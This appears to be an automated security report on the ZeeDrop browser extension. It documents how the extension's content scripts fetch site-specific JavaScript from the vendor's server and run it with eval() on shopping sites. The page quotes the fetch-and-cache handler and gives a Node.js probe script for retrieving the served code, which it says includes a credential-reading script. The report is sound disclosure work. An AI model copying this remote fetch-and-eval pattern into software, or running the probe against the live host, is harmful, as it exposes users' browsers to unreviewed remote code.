Is ZeeDrop safe?
ZeeDrop runs shopping-site scripts fetched from www.zeedroptool.com when matching store pages load.
On supported commerce sites, bundled content scripts ask the extension background worker to fetch site-specific JavaScript from ZeeDrop's backend and then execute the returned code with eval(). This server-supplied code runs in the page's content-script context, where it can interact with page content and the current URL.
Who publishes itzeedroptool - no other listings under this identity, 15 shared hostnames
zeedroptool - no other listings under this identity, 15 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 15 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Eight shopping-site content scripts eval() code fetched live from one backend
On sites like gearbest.com and efavormart.com, the extension fetches a JavaScript file keyed to that site from ZeeDrop's server and runs it with eval().
We observed the fetch and eval attempt; the target's own CSP blocked full execution.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You open a shopping or dropshipping site the extension recognizes, such as gearbest.com or efavormart.com.
The extension ships a dedicated content script for each of eight such sites.
The content script fetches a JavaScript file keyed to that site from ZeeDrop's server and runs it with eval() on page load.
No consent prompt or visible UI accompanies this.
JSON body {"d":"console.log(123)"}. Three seconds after loading efavormart.com, an EvalError console entry showed content_scripts/efavormart.js attempting eval() on this string, blocked only by efavormart.com's own Content-Security-Policy.
- Content-Type
- application/json; charset=utf-8
{ "_File": "efavormart"}The eval sink shipped to each matched site, and the shared handler behind it
else if (request.start == "GetFile") { (async () => { const files = await getGlobal('files'); if (files[request.fileName] && files[request.fileName].lastCheck && (new Date() - files[request.fileName].lastCheck) / 1000 / 3600 < 24) { sendResponse({ response: files[request.fileName].code, }); return } $.ajax({ url: domain + 'Service/UploadWebService.asmx/GetFile', type: "POST", contentType: "application/json; charset=utf-8", dataType: "json", data: JSON.stringify({ _File: request.fileName }), async: false, success: (r) => { code = r; sendResponse({ response: code, }); var file = {}; file.lastCheck = new Date(); file.code = code file.name = request.fileName; getGlobal('files').then(files => { files[request.fileName] = file; return setGlobal('files', files); }); }, error: (e) => { console.log(e); } }); })(); return true;}- www.zeedroptool.com
ZeeDrop's backend. Returns the JavaScript that affected content scripts eval() on page load; also caches the response client-side for 24 hours.
The same endpoint serves other keys too. In this session, common4 and WalmartM returned a roughly 937 KB obfuscated bundle and a credential-reading script; neither script eval()s its response in this version.
Queries ZeeDrop's GetFile endpoint directly for a given site key and prints the returned code, without installing the extension.
- Node.js 18+
// node getfile_probe.js <fileName>const fileName = process.argv[2];if (!fileName) { console.error("Usage: node getfile_probe.js <fileName>"); process.exit(1);}fetch("https://www.zeedroptool.com/Service/UploadWebService.asmx/GetFile", { method: "POST", headers: { "Content-Type": "application/json; charset=utf-8" }, body: JSON.stringify({ _File: fileName }),}) .then((r) => r.json()) .then((json) => { console.log(`--- GetFile response for "${fileName}" ---`); console.log(json.d); }) .catch((err) => console.error("Request failed:", err));- 1Install Node.js 18+.
- 2Run node getfile_probe.js gearbest (or efavormart, screwfix, idropship, dropshipzone, sportsmansguide, real, asda).
- 3The printed d field is exactly what the matching content script passes to eval().
Where it sends data
Destinations our analysis observed ZeeDrop contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- www.zeedroptool.com
ZeeDrop sends data to www.zeedroptool.com. No other extension we have analysed sends data here.